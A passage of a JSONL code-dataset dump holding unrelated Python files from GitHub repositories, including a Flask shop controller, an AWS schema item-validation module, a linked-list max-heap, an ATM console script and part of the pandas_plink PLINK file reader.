need_visited.extend(move(point, time))\n","repo_name":"gmkseta/TIL","sub_path":"Algorithm/5week/1697.py","file_name":"1697.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39196948122","text":"from app import app\n\nfrom flask import render_template, redirect, url_for, request\nfrom flask_login import current_user, login_required\n\nfrom app.models.produto import Produto\nfrom app.models.categoria import Categoria\n\ncurrent_port = '8080/'\n\n\n@app.route('/user')\n@login_required\ndef index_user():\n if current_user.is_authenticated:\n current_url = request.url.split(current_port)\n current_url = current_url[1]\n\n lista_produtos = Produto.query.order_by('descricao').all()\n categorias = Categoria.query.order_by('nome').all()\n\n cookie = request.cookies.get('carrinho_compras')\n\n total_itens = 0\n\n if (cookie):\n lista_cookie = cookie.split(\";\")\n\n lista_cookie.pop(len(lista_cookie) - 1)\n\n for p in lista_cookie:\n item = p.split(\"_\")\n total_itens += int(item[1])\n\n return render_template(\n 'index.html',\n title='Ecommerce - Página Inicial',\n user=current_user,\n url=current_url,\n produtos=lista_produtos,\n categorias=categorias,\n total_itens = total_itens\n )\n return redirect(url_for('index'))\n","repo_name":"jvbnascimento/ecommerce","sub_path":"app/controllers/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28764103060","text":"from dataclasses import replace\nfrom typing import Callable\nfrom uuid import UUID\n\nfrom models.QuestDbDeployment import QuestDbDeployment\nfrom models.QuestDbDeploymentStatus import QuestDbDeploymentStatus\nfrom models.k8s.K8sMetadata import K8sMetadata\n\ndeployments: dict[UUID, QuestDbDeployment] = {}\n\n\nasync def create() -> QuestDbDeployment:\n deployment = QuestDbDeployment()\n deployments[deployment.id] = deployment\n return deployment\n\n\nasync def get(deployment_id: UUID) -> QuestDbDeployment:\n deployment = deployments[deployment_id]\n if deployment is None:\n raise Exception(f\"Deployment with id {deployment_id} not found\")\n\n return deployment\n\n\nasync def find_not_in_statuses(statuses: list[QuestDbDeploymentStatus]) -> list[QuestDbDeployment]:\n values: list[QuestDbDeployment] = list(deployments.values())\n status_filter: Callable[[QuestDbDeployment], bool] = lambda deployment: deployment.status not in statuses\n\n return list(filter(status_filter, values))\n\n\nasync def update_status(deployment_id: UUID, status: QuestDbDeploymentStatus) -> QuestDbDeployment:\n deployment = deployments[deployment_id]\n if deployment is None:\n raise Exception(f\"Deployment with id {deployment_id} not found\")\n\n updated_deployment = replace(deployment, status=status, status_log=[status, *deployment.status_log])\n deployments[deployment_id] = updated_deployment\n\n return updated_deployment\n\n\nasync def update_metadata(deployment_id: UUID, metadata: K8sMetadata) -> QuestDbDeployment:\n deployment = deployments[deployment_id]\n if deployment is None:\n raise Exception(f\"Deployment with id {deployment_id} not found\")\n\n updated_deployment = replace(deployment, k8s_metadata=metadata)\n deployments[deployment_id] = updated_deployment\n\n return updated_deployment\n","repo_name":"liqwid/deployer","sub_path":"repositories/QuestDbDeploymentRepo.py","file_name":"QuestDbDeploymentRepo.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23483525632","text":"import os\nimport boto3\nimport re\n\napplication = os.environ['application']\nenvironment = os.environ['environment']\n\n\ndef get_required_attributes(schema, include_conditional=False):\n required_attributes = []\n schema_system_key = schema['schema_name'] + '_id'\n\n if schema['schema_name'] == 'application':\n schema_system_key = 'app_id'\n\n if schema:\n for attribute in schema['attributes']:\n\n if ('required' in attribute and attribute['required'] == True) \\\n and not ('hidden' in attribute and attribute['hidden'] == True) \\\n and attribute[\n 'name'] != schema_system_key: # Check if mandatory required flag set and not the system key attribute.\n required_attributes.append(attribute)\n elif 'conditions' in attribute and include_conditional:\n # if not mandatory required then is there a conditional required.\n if 'outcomes' in attribute['conditions'] and 'true' in attribute['conditions']['outcomes']:\n for outcome in attribute['conditions']['outcomes']['true']:\n if outcome == 'required':\n required_attributes.append(attribute)\n if 'outcomes' in attribute['conditions'] and 'false' in attribute['conditions']['outcomes']:\n for outcome in attribute['conditions']['outcomes']['false']:\n if outcome == 'required':\n required_attributes.append(attribute)\n return required_attributes\n\n\ndef check_attribute_required_conditions(item, conditions):\n return_required = False\n return_hidden = False\n query_result = None\n\n if not conditions:\n # No conditions passed.\n return {'required': return_required, 'hidden': return_hidden}\n\n for query in conditions['queries']:\n if query['comparator'] == '=':\n if query['attribute'] in item and query['value']:\n if item[query['attribute']] == query['value']:\n if query_result != False:\n query_result = True\n else:\n query_result = False\n break\n elif query['comparator'] == '!=':\n if query['attribute'] in item and query['value']:\n if item[query['attribute']] != query['value']:\n if query_result != False:\n query_result = True\n else:\n query_result = False\n break\n elif query['comparator'] == '!empty':\n if query['attribute'] in item:\n if isinstance(item[query['attribute']], list):\n if len(item[query['attribute']]) != 0:\n if query_result != False:\n query_result = True\n else:\n query_result = False\n break\n else:\n if item[query['attribute']] != '':\n if query_result != False:\n query_result = True\n else:\n query_result = False\n break\n elif query['comparator'] == 'empty':\n if query['attribute'] in item:\n if isinstance(item[query['attribute']], list):\n if len(item[query['attribute']]) > 0:\n if query_result != False:\n query_result = True\n else:\n query_result = False\n break\n else:\n if item[query['attribute']] == '':\n if query_result != False:\n query_result = True\n else:\n query_result = False\n break\n elif query['attribute'] not in item and 'comparator' in query:\n if query_result != False:\n query_result = True\n\n if query_result:\n if 'true' in conditions['outcomes']:\n for outcome in conditions['outcomes']['true']:\n if outcome == 'required':\n return_required = True\n continue\n elif outcome == 'not_required':\n return_required = False\n continue\n elif outcome == 'hidden':\n return_hidden = True\n continue\n elif outcome == 'not_hidden':\n return_hidden = False\n continue\n else:\n if 'false' in conditions['outcomes']:\n for outcome in conditions['outcomes']['false']:\n if outcome == 'required':\n return_required = True\n continue\n elif outcome == 'not_required':\n return_required = False\n continue\n elif outcome == 'hidden':\n return_hidden = True\n continue\n elif outcome == 'not_hidden':\n return_hidden = False\n continue\n\n return {'required': return_required, 'hidden': return_hidden}\n\n\ndef check_valid_item_create(item, schema, related_items=None):\n invalid_attributes = []\n\n required_attributes = get_required_attributes(schema, True)\n\n for attribute in required_attributes:\n if 'required' in attribute and attribute['required']:\n # Attribute is required.\n if attribute['name'] in item:\n if not (item[attribute['name']] != '' and item[attribute['name']] is not None):\n invalid_attributes.append(\"Attribute: \" + attribute['name'] + \" is required and not provided.\")\n else:\n # key not in item, missing required attribute.\n invalid_attributes.append(\"Attribute: \" + attribute['name'] + \" is required and not provided.\")\n elif 'conditions' in attribute:\n conditions_check_result = check_attribute_required_conditions(item, attribute['conditions'])\n if conditions_check_result['required']:\n if not (attribute['name'] in item and item[attribute['name']] != '' and item[\n attribute['name']] is not None):\n invalid_attributes.append(\"Attribute: \" + attribute['name'] + \" is required and not provided.\")\n\n if len(invalid_attributes) > 0:\n return invalid_attributes\n\n # check that values are correct.\n validation_errors = validate_item_keys_and_values(item, schema['attributes'], related_items)\n\n validation_errors.extend(invalid_attributes)\n\n if len(validation_errors) > 0:\n return validation_errors\n else:\n return None\n\n\ndef validate_value(attribute, value):\n std_error = \"Error in validation, please check entered value.\";\n error = None\n pattern = re.compile(attribute['validation_regex'])\n if not pattern.match(value):\n # Validation error.\n if 'validation_regex_msg' in attribute:\n error = \"Attribute: \" + attribute['name'] + \", \" + attribute['validation_regex_msg']\n else:\n error = \"Attribute: \" + attribute['name'] + \", \" + std_error\n\n return error\n\n\ndef get_related_items(related_schema_names):\n related_items = {}\n\n for related_schema_name in related_schema_names:\n # Check that item is set.\n if not related_schema_name:\n continue\n\n if related_schema_name == 'application':\n table_name = 'app'\n else:\n table_name = related_schema_name\n\n related_table_name = '{}-{}-{}s'.format(application, environment, table_name)\n\n related_table = boto3.resource('dynamodb').Table(related_table_name)\n related_table_items = scan_dynamodb_data_table(related_table) # get all items from related table.\n related_items[related_schema_name] = related_table_items\n\n return related_items\n\n\ndef get_item_attribute_names(items):\n attribute_names = []\n for item in items:\n for key in item.keys():\n if key.startswith('_'):\n # Ignore system keys.\n continue\n if key not in attribute_names:\n attribute_names.append(key)\n\n return attribute_names\n\n\n# Filters the provided attributes for all with a type of relationship.\ndef get_relationship_attributes(attribute_names, attributes):\n relationship_attributes = []\n for attribute in attributes:\n if attribute['name'] in attribute_names:\n if attribute['type'] == 'relationship':\n relationship_attributes.append(attribute)\n\n return relationship_attributes\n\n\n# Searches relationship_attributes parameter and provides related table names.\ndef get_relationship_schema_names(relationship_attributes):\n relationship_schema_names = []\n for relationship_attribute in relationship_attributes:\n if 'rel_entity' not in relationship_attribute:\n continue\n\n relationship_schema_names.append(relationship_attribute['rel_entity'])\n\n return relationship_schema_names\n\n\n# Based on the items provided it returns any related data items to be used to validate relationships.\ndef get_relationship_data(items, schema):\n # Get duplicated list of attributes being uploaded.\n attribute_names = get_item_attribute_names(items)\n\n # Filter attributes for relationship attributes.\n relationship_attributes = get_relationship_attributes(attribute_names, schema['attributes'])\n\n # extract schema names from related attributes.\n relationship_schema_names = get_relationship_schema_names(relationship_attributes)\n\n # Get all data for the schema list provided.\n related_data = get_related_items(relationship_schema_names)\n\n return related_data\n\n\ndef validate_item_related_record(attribute, value, preloaded_related_items=None):\n if attribute['type'] != 'relationship':\n return None # Not a relationship attribute, return success.\n\n if 'rel_entity' not in attribute or 'rel_key' not in attribute:\n # invalid relationship attribute.\n return [attribute['name'] + ': Invalid relationship attribute schema or key missing.']\n else:\n if preloaded_related_items:\n # Preloaded items provided.\n related_items = preloaded_related_items\n else:\n # No preloaded item provided, load from DDB table.\n table_name = attribute['rel_entity']\n if table_name == 'application':\n table_name = 'app'\n\n related_table_name = '{}-{}-{}s'.format(application, environment, table_name)\n\n related_table = boto3.resource('dynamodb').Table(related_table_name)\n related_items = scan_dynamodb_data_table(related_table) # get all items from related table.\n\n if 'listMultiSelect' in attribute and attribute['listMultiSelect']:\n related_records_found = []\n related_records_not_found = []\n for related_item in related_items:\n if related_item[attribute['rel_key']] in value:\n related_records_found.append(related_item[attribute['rel_key']])\n\n for record_id in value:\n if record_id not in related_records_found:\n related_records_not_found.append(record_id)\n\n if len(related_records_not_found) > 0:\n message = attribute['name'] + ': The following related record ids do not exist using key ' + \\\n attribute['rel_key'] + ' - ' + \", \".join(related_records_not_found)\n return [message]\n else:\n # All related IDs found.\n return None\n else:\n related_record_found = False\n for related_item in related_items:\n if related_item[attribute['rel_key']] == str(value):\n related_record_found = True\n\n if not related_record_found:\n message = attribute['name'] + ':' + value + ' related record does not exist using key ' + \\\n attribute['rel_key']\n return [message]\n else:\n return None\n\n # return [attribute['name'] + ': Unsupported relationship schema ' + attribute['rel_entity']] # invalid relationship attribute.\n\n\ndef validate_item_keys_and_values(item, attributes, related_items=None):\n errors = []\n std_error = \"Error in validation, please check entered value.\"\n for key in item.keys():\n check = False\n if key.startswith('_'):\n # Ignore system keys.\n continue\n for attribute in attributes:\n if key == attribute['name']:\n check = True\n if attribute['type'] == 'list' and 'listvalue' in attribute:\n listvalue = attribute['listvalue'].lower().split(',')\n if 'listMultiSelect' in attribute and attribute['listMultiSelect'] == True:\n for item in item[key]:\n if item.lower() not in listvalue:\n message = \"Attribute \" + key + \"'s value does not match any of the allowed values '\" + \\\n attribute['listvalue'] + \"' defined in the schema\"\n errors.append(message)\n else:\n if item[key] != '':\n if item[key].lower() not in listvalue:\n message = \"Attribute \" + key + \"'s value does not match any of the allowed values '\" + \\\n attribute[\n 'listvalue'] + \"' defined in the schema\"\n errors.append(message)\n elif attribute['type'] == 'relationship':\n if related_items and attribute['rel_entity'] in related_items.keys():\n related_record_validation = validate_item_related_record(attribute, item[key],\n related_items[attribute['rel_entity']])\n else:\n # relationship items not preloaded, validate will have to fetch them.\n related_record_validation = validate_item_related_record(attribute, item[key])\n\n if related_record_validation != None:\n errors.append(related_record_validation)\n else:\n if 'validation_regex' in attribute and attribute['validation_regex'] != '' and item[key] != '' and \\\n item[\n key] is not None:\n if attribute['type'] == 'multivalue-string':\n valid_regex = True\n for value in item[key]:\n value_validation_result = validate_value(attribute, value)\n if value_validation_result != None:\n valid_regex = False\n if not valid_regex:\n errors.append(value_validation_result)\n else:\n value_validation_result = validate_value(attribute, item[key])\n if value_validation_result != None:\n errors.append(value_validation_result)\n break # Exit loop as key matched to attribute no need to check other attributes.\n\n if check == False:\n message = \"Attribute: \" + key + \" is not defined in the schema.\"\n errors.append(message)\n\n return errors\n\n\ndef scan_dynamodb_data_table(data_table):\n response = data_table.scan(ConsistentRead=True)\n scan_data = response['Items']\n while 'LastEvaluatedKey' in response:\n print(\"Last Evaluate key is \" + str(response['LastEvaluatedKey']))\n response = data_table.scan(ExclusiveStartKey=response['LastEvaluatedKey'], ConsistentRead=True)\n scan_data.extend(response['Items'])\n return scan_data\n\n\ndef does_item_exist(new_item_key, new_item_value, current_items):\n # Search current_items for key and value that match.\n for item in current_items:\n if new_item_key in item and item[new_item_key] == new_item_value:\n return True\n\n # Item not found in current_items.\n return False\n","repo_name":"aws-solutions/cloud-migration-factory-on-aws","sub_path":"source/backend/lambda_layers/lambda_layer_items/python/item_validation.py","file_name":"item_validation.py","file_ext":"py","file_size_in_byte":16652,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"21"} +{"seq_id":"35413998256","text":"from LinkedList import LinkedList\nfrom Node import Node\nimport math\n\nclass MaxHeap:\n def __init__(self):\n self.size = 0\n self.heap = LinkedList()\n\n # public methods\n\n def push(self, data):\n # Inserts a value in the LinkedList as the new tail, then heapifies up to restore the heap\n self.size += 1\n self.heap.insert_val(self.size, data)\n self.__heapify_up(self.size)\n\n def peek(self):\n # Returns the root without deleting it\n if self.size <= 0:\n return\n return self.heap.find(0)\n\n def pop(self):\n # Deletes the root, and returns its value\n if self.size <= 0:\n return\n\n root = self.peek()\n self.__swap(0, self.size)\n self.heap.delete(self.size)\n self.size -= 1\n self.__heapify_down(0)\n\n return root\n # Private methods\n\n def __heapify_up(self, index):\n # Recursively bubbles up from the last (and newest) index, restoring the heap\n parent = index // 2\n\n # Means you're already at the top of the heap\n if index <= 1:\n return\n\n # Finds the rank of the parent and the index\n index_priority = self.heap.find(index).get_data()[0]\n parent_priority = self.heap.find(parent).get_data()[0]\n\n # Checks to see if the index value is higher than its parent. If so, it swaps their information so that the\n # highest priority is on top. It then continues to heapify from that highest location\n if parent_priority < index_priority:\n self.__swap(parent, index)\n self.__heapify_up(parent)\n\n\n def __heapify_down(self, index):\n left = index * 2 + 1\n right = index * 2 + 2\n largest = index\n largest_child = index\n\n if index >= self.size:\n return\n\n if right <= self.size - 1:\n if self.heap.find(left).get_data()[0] < self.heap.find(right).get_data()[0]:\n largest_child = right\n else:\n largest_child = left\n\n # Finds the rank of the largest child and the index\n index_priority = self.heap.find(index).get_data()[0]\n largest_child_priority = self.heap.find(largest_child).get_data()[0]\n\n #print(\"comparing {} and {}\".format(index_priority, largest_child_priority))\n if largest_child_priority > index_priority:\n #print(\"index before: {}, child before: {}\".format(self.heap.find(index), self.heap.find(largest_child)))\n self.__swap(largest_child, index)\n #print(\"index after: {}, child after: {}\\n\".format(self.heap.find(index), self.heap.find(largest_child)))\n self.__heapify_down(largest_child)\n\n\n def __swap(self, pos_1, pos_2):\n # Swaps the data of two indexes, so that the node higher up is the one with a higher priority.\n node_1 = self.heap.find(pos_1)\n node_2 = self.heap.find(pos_2)\n node_1_holder = node_1.get_data()\n\n node_1.set_data(node_2.get_data())\n node_2.set_data(node_1_holder)\n\n def __repr__(self):\n # The method iterates through all of the levels of the tree in the first loop.\n # The indices on that level are traversed in the nested loop: 2 ^ level - 1 through 2 ^ level.\n # Since the traversal range does not account for whether the last level is actually full or not,\n # There is a conditional that breaks out of the loop as soon as there is no Node at the given index.\n levels = self.num_levels()\n level_str = \"\"\n for i in range(1, levels):\n level_str += \"\\n\"\n for j in range(int(math.pow(2, i - 1)), int(math.pow(2, i))):\n if j == self.size + 1:\n break\n level_str += str(self.heap.find(j).get_data()[0]) + \" \"\n level_str += \"\\n\"\n return level_str\n\n def num_levels(self, levels = 0):\n # 2 ^ level is the maximum amount of nodes the heap can have with that many levels. The levels start at 0\n # because 2 ^ 0 is the number of nodes at the root The maximum amount of nodes with that many levels should\n # be less than or equal to the size of the heap. If it is, then it is assumed that the level is full,\n # and the next recursive call checks if the next level is full. If it is greater than the size,\n # then the method returns the level + 1 because it started at 0. Otherwise, it continues.\n\n if int(math.pow(2, levels)) > self.size:\n return levels + 1\n\n levels += 1\n return self.num_levels(levels)\n\n\n\nheap = MaxHeap()\nheap.push([1, \"homework\"])\nheap.push([3, \"video games\"])\nheap.push([2, \"eating\"])\nheap.push([5, \"programming\"])\nheap.push([17, \"workout\"])\nheap.push([25, \"breakfast\"])\nheap.push([8, \"cooking\"])\nheap.push([90, \"paint nails\"])\nheap.push([7, \"email\"])\n\nheap.push([-1, \"clubs\"])\nheap.push([4, \"reading\"])\nheap.push([12, \"studing\"])\nheap.push([30, \"night routine\"])\nheap.push([15, \"speech\"])\nheap.push([0, \"sleep\"])\nheap.push([32, \"homework\"])\nheap.push([41, \"video games\"])\nheap.push([35, \"eating\"])\nheap.push([66, \"programming\"])\nheap.push([81, \"workout\"])\nheap.push([-5, \"breakfast\"])\nheap.push([21, \"cooking\"])\nheap.push([71, \"paint nails\"])\nheap.push([11, \"email\"])\nheap.push([10, \"clubs\"])\nheap.push([23, \"reading\"])\nheap.push([923, \"studing\"])\nheap.push([150, \"night routine\"])\nheap.push([-70, \"speech\"])\nheap.push([75, \"sleep\"])\n\n\nprint(heap)\nprint(heap.pop())\n\n\nprint(heap)\nprint(heap.pop())\n\nprint(heap)\nprint(heap.pop())\n\n\nprint(heap)\nprint(heap.pop())","repo_name":"FifiTeklemedhin/ToDoListApp","sub_path":"MaxHeapLinkedList.py","file_name":"MaxHeapLinkedList.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27617439450","text":"from __future__ import annotations\nfrom sectograph import entities, datetime as dt\nfrom .base_event import BaseEvent\n\n\nclass DayEvent(BaseEvent):\n def get(self) -> list[entities.DayEvent]:\n now = dt.app_now()\n con = self.db.con\n cur = con.cursor()\n result = cur.execute(\n \"\"\"\n SELECT id, start, text, color, notify, sound, repeat, end\n FROM events\n WHERE day == 1 AND ((\n repeat IS NULL\n AND DATE(start) == DATE(?)\n ) OR (\n repeat IS NOT NULL\n AND (end IS NULL OR end >= DATE(?))\n AND CAST(JULIANDAY(?) - JULIANDAY(start) AS INT) % repeat = 0\n ))\n ORDER BY id\n \"\"\",\n (now, now, now),\n ).fetchall()\n return [entities.DayEvent(**row) for row in result]\n","repo_name":"yumauri/sectograph","sub_path":"sectograph/repositories/day_event.py","file_name":"day_event.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"13216758480","text":"def creer_arbre(r = None):\n \"\"\"renvoie un arbre vide\n ou un arbre de racine r\"\"\"\n if r:\n return[r, [], []]\n else:\n return []\n\ndef arbre_vide(a):\n return a == []\n\ndef get_gauche(a):\n if not arbre_vide(a):\n return a[1]\n\ndef get_droite(a):\n if not arbre_vide(a):\n return a[2]\n\ndef insere(a, valeur):\n if arbre_vide(a):\n a.append(valeur)\n a.append([])\n a.append([])\n elif valeur <= a[0]:\n insere(a[1], valeur)\n else:\n insere(a[2], valeur)\n\nif __name__ == \"__main__\":\n a = creer_arbre(12)\n insere(a, 8)\n insere(a, 6)\n insere(a, 15)\n insere(a, 14)\n insere(a, 17)\n print(a)\n","repo_name":"PearlClone/Arbre_binaire","sub_path":"Scripts/arbres_binaires_recursifs.py","file_name":"arbres_binaires_recursifs.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9853545634","text":"saldo = 0\npenarikan = 0\npilihan = 0\ndeposito = 0\n\nimport sys\n\n\nprint(\"\\tSELAMAT DATANG DI ATM\")\nbahasa=int(input(\"\\tPilih Bahasa=\\n\"))\nif (bahasa==1):\n\tprint(\"bahasa Indonesia\")\nelif(bahasa==2):\n\tprint(\"bahasa Inggris\")\nelse:\n\tbahasa=\"tidak ada\"\n\npin=int(input(\"\\tMasukkan Pin Anda=\\n\"))\nif (pin==100919):\n\tpin=\"Benar\"\nelse:\n\tpin=int(input(\"\\tMasukkan Pin Anda=\\n\"))\n\n\ntabungan = True\n \nwhile tabungan:\n print(\"1: Deposit\")\n print(\"2: Penarikan\")\n print(\"3: Saldo\")\n print(\"4: Keluar\")\n \n pilihan = int(input(\"Masukkan menu yang anda inginkan: \"))\n \n if pilihan == 1:\n deposito = int(input(\"Jumlah yang akan ditabung: Rp\"))\n print(\"Jumlahnya yang akan ditabung yaitu Rp\" + str(deposito))\n saldo = saldo + deposito\n elif pilihan == 2:\n print(\"Jumlah yang akan ditarik yaitu: Rp\" + str(saldo))\n while True:\n penarikan = int(input(\"Penarikan: Rp\"))\n if penarikan > saldo:\n print(\"Saldo anda tidak mencukupi untuk melakukan transaksi ini\")\n continue\n saldo = saldo - penarikan\n break\n elif pilihan == 3:\n print(\"Sisa saldo: Rp\" + str(saldo))\n elif pilihan == 4:\n sys.exit(\"Terima kasih\")","repo_name":"IqbalHadiSubekti/Program-ATM","sub_path":"atm.py","file_name":"atm.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"id","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"11547492516","text":"import warnings\nfrom collections import OrderedDict as odict\nfrom glob import glob\nfrom os.path import basename, dirname, join\nfrom typing import Optional\n\nfrom pandas import DataFrame, read_csv\nfrom xarray import DataArray\n\nfrom ._allele import Allele\nfrom ._bed_read import read_bed\nfrom ._chunk import Chunk\nfrom ._util import last_replace\n\n__all__ = [\"read_plink\", \"read_plink1_bin\"]\n\n\ndef read_plink(file_prefix, verbose=True):\n \"\"\"\n Read PLINK files into data frames.\n\n .. note::\n\n The function :func:`pandas_plink.read_plink1_bin` provides an alternative\n interface to read the same files.\n\n The genotype values can be either :const:`0`, :const:`1`, :const:`2`, or\n :data:`math.nan`:\n\n - :const:`0` Homozygous having the first allele (given by coordinate **a0**)\n - :const:`1` Heterozygous\n - :const:`2` Homozygous having the second allele (given by coordinate **a1**)\n - :data:`math.nan` Missing genotype\n\n Examples\n --------\n The following example reads two BED files and two BIM files correspondig to\n chromosomes 11 and 12, and read a single FAM file whose filename is inferred from\n the BED filenames.\n\n .. doctest::\n\n >>> from os.path import join\n >>> from pandas_plink import read_plink\n >>> from pandas_plink import get_data_folder\n >>> (bim, fam, bed) = read_plink(join(get_data_folder(), \"chr*.bed\"),\n ... verbose=False)\n >>> print(bim.head())\n chrom snp cm pos a0 a1 i\n 0 11 316849996 0.00 157439 C T 0\n 1 11 316874359 0.00 181802 G C 1\n 2 11 316941526 0.00 248969 G C 2\n 3 11 317137620 0.00 445063 C T 3\n 4 11 317534352 0.00 841795 C T 4\n >>> print(fam.head())\n fid iid father mother gender trait i\n 0 B001 B001 0 0 0 -9 0\n 1 B002 B002 0 0 0 -9 1\n 2 B003 B003 0 0 0 -9 2\n 3 B004 B004 0 0 0 -9 3\n 4 B005 B005 0 0 0 -9 4\n >>> print(bed.compute())\n [[0.00 0.00 0.00 ... 2.00 2.00 0.00]\n [0.00 1.00 0.00 ... 2.00 1.00 0.00]\n [2.00 2.00 2.00 ... 0.00 0.00 2.00]\n ...\n [2.00 0.00 0.00 ... 2.00 2.00 1.00]\n [2.00 0.00 0.00 ... 2.00 2.00 0.00]\n [0.00 nan 0.00 ... 1.00 2.00 0.00]]\n\n Parameters\n ----------\n file_prefix : str\n Path prefix to the set of PLINK files. It supports loading many BED files at\n once using globstrings wildcard.\n verbose : bool\n :const:`True` for progress information; :const:`False` otherwise.\n\n Returns\n -------\n alleles : :class:`pandas.DataFrame`\n Alleles.\n samples : :class:`pandas.DataFrame`\n Samples.\n genotypes : :class:`dask.array.Array`\n Genotype.\n \"\"\"\n import pandas as pd\n from dask.array import concatenate\n from tqdm import tqdm\n\n file_prefixes = sorted(glob(file_prefix))\n if len(file_prefixes) == 0:\n file_prefixes = [file_prefix.replace(\"*\", \"\")]\n\n file_prefixes = sorted(_clean_prefixes(file_prefixes))\n\n fn = []\n for fp in file_prefixes:\n fn.append({s: \"%s.%s\" % (fp, s) for s in [\"bed\", \"bim\", \"fam\"]})\n\n pbar = tqdm(desc=\"Mapping files\", total=3 * len(fn), disable=not verbose)\n\n bim = _read_file(fn, lambda fn: _read_bim(fn[\"bim\"]), pbar)\n if len(file_prefixes) > 1:\n if verbose:\n msg = \"Multiple files read in this order: {}\"\n print(msg.format([basename(f) for f in file_prefixes]))\n\n nmarkers = dict()\n index_offset = 0\n for i, bi in enumerate(bim):\n nmarkers[fn[i][\"bed\"]] = bi.shape[0]\n bi[\"i\"] += index_offset\n index_offset += bi.shape[0]\n bim = pd.concat(bim, axis=0, ignore_index=True)\n\n fam = _read_file([fn[0]], lambda fn: _read_fam(fn[\"fam\"]), pbar)[0]\n nsamples = fam.shape[0]\n\n ref = Allele.a1\n bed = _read_file(\n fn,\n lambda f: _read_bed(f[\"bed\"], nsamples, nmarkers[f[\"bed\"]], ref, Chunk()).T,\n pbar,\n )\n\n bed = concatenate(bed, axis=0)\n\n pbar.close()\n\n return (bim, fam, bed)\n\n\ndef read_plink1_bin(\n bed: str,\n bim: Optional[str] = None,\n fam: Optional[str] = None,\n verbose: bool = True,\n ref: str = \"a1\",\n chunk: Chunk = Chunk(),\n) -> DataArray:\n \"\"\"\n Read PLINK 1 binary files [a]_ into a data array.\n\n A PLINK 1 binary file set consists of three files:\n\n - BED: containing the genotype.\n - BIM: containing variant information.\n - FAM: containing sample information.\n\n The user might provide a single file path to a BED file, from which this function\n will try to infer the file path of the other two files.\n This function also allows the user to provide file path to multiple BED and\n BIM files, as it is common to have a data set split into multiple files, one per\n chromosome.\n\n This function returns a samples-by-variants matrix. This is a special kind of matrix\n with rows and columns having multiple coordinates each. Those coordinates have the\n metainformation contained in the BIM and FAM files.\n\n Examples\n --------\n The following example reads two BED files and two BIM files correspondig to\n chromosomes 11 and 12, and read a single FAM file whose filename is inferred from\n the BED filenames.\n\n .. doctest::\n\n >>> from os.path import join\n >>> from pandas_plink import read_plink1_bin\n >>> from pandas_plink import get_data_folder\n >>> G = read_plink1_bin(join(get_data_folder(), \"chr*.bed\"), verbose=False)\n >>> print(G)\n \n dask.array\n Coordinates: (12/14)\n * sample (sample) object 'B001' 'B002' 'B003' ... 'B012' 'B013' 'B014'\n * variant (variant) >> print(G.shape)\n (14, 1252)\n\n Suppose we want the genotypes of the chromosome 11 only:\n\n .. doctest::\n\n >>> G = G.where(G.chrom == \"11\", drop=True)\n >>> print(G)\n \n dask.array\n Coordinates: (12/14)\n * sample (sample) object 'B001' 'B002' 'B003' ... 'B012' 'B013' 'B014'\n * variant (variant) >> print(G.shape)\n (14, 779)\n\n Lets now print the genotype value of the sample `B003` for variant `variant5`:\n\n .. doctest::\n\n >>> print(G.sel(sample=\"B003\", variant=\"variant5\").values)\n 0.0\n\n The special matrix we return is of type :class:`xarray.DataArray`. More information\n about it can be found at the `xarray documentation `_.\n\n\n Parameters\n ----------\n bed\n Path to a BED file. It can contain shell-style wildcards to indicate multiple\n BED files.\n bim\n Path to a BIM file. It can contain shell-style wildcards to indicate multiple\n BIM files. It defaults to :const:`None`, in which case it will try to be inferred.\n fam\n Path to a FAM file. It defaults to :const:`None`, in which case it will try to be\n inferred.\n verbose\n :const:`True` for progress information; :const:`False` otherwise.\n ref\n Reference allele. Specify which allele the dosage matrix will count. It can\n be either :const:`\"a1\"` (default) or :const:`\"a0\"`.\n chunk\n Data chunk specification. Useful to adjust the trade-off between computational\n overhead and IO usage. See :class:`pandas_plink.Chunk`.\n\n Returns\n -------\n :class:`xarray.DataArray`\n Genotype with metadata.\n\n References\n ----------\n .. [a] PLINK 1 binary. https://www.cog-genomics.org/plink/2.0/input#bed\n \"\"\"\n import dask.array as da\n import pandas as pd\n from tqdm import tqdm\n\n bed_files = sorted(glob(bed))\n if len(bed_files) == 0:\n raise ValueError(\"No BED file has been found.\")\n\n if bim is None:\n bim_files = [last_replace(f, \".bed\", \".bim\") for f in bed_files]\n else:\n bim_files = sorted(glob(bim))\n if len(bim_files) == 0:\n raise ValueError(\"No BIM file has been found.\")\n\n if fam is None:\n fam_files = [last_replace(f, \".bed\", \".fam\") for f in bed_files]\n else:\n fam_files = sorted(glob(fam))\n if len(fam_files) == 0:\n raise ValueError(\"No FAM file has been found.\")\n\n if len(bed_files) != len(bim_files):\n raise ValueError(\"The numbers of BED and BIM files must match.\")\n\n if len(fam_files) > 1:\n msg = \"More than one FAM file has been specified. Only the first one will be \"\n msg += \"considered.\"\n if verbose:\n warnings.warn(msg, UserWarning)\n fam_files = fam_files[:1]\n\n nfiles = len(bed_files) + len(bim_files) + 1\n pbar = tqdm(desc=\"Mapping files\", total=nfiles, disable=not verbose)\n\n bims = _read_file(bim_files, lambda f: _read_bim_noi(f), pbar)\n nmarkers = {bed_files[i]: b.shape[0] for i, b in enumerate(bims)}\n bim_df = pd.concat(bims, axis=0, ignore_index=True)\n fam_df = _read_file(fam_files, lambda f: _read_fam_noi(f), pbar)[0]\n\n nsamples = fam_df.shape[0]\n sample_ids = fam_df[\"iid\"]\n nvariants = bim_df.shape[0]\n variant_ids = [f\"variant{i}\" for i in range(nvariants)]\n\n if ref == \"a1\":\n ref_al = Allele.a1\n elif ref == \"a0\":\n ref_al = 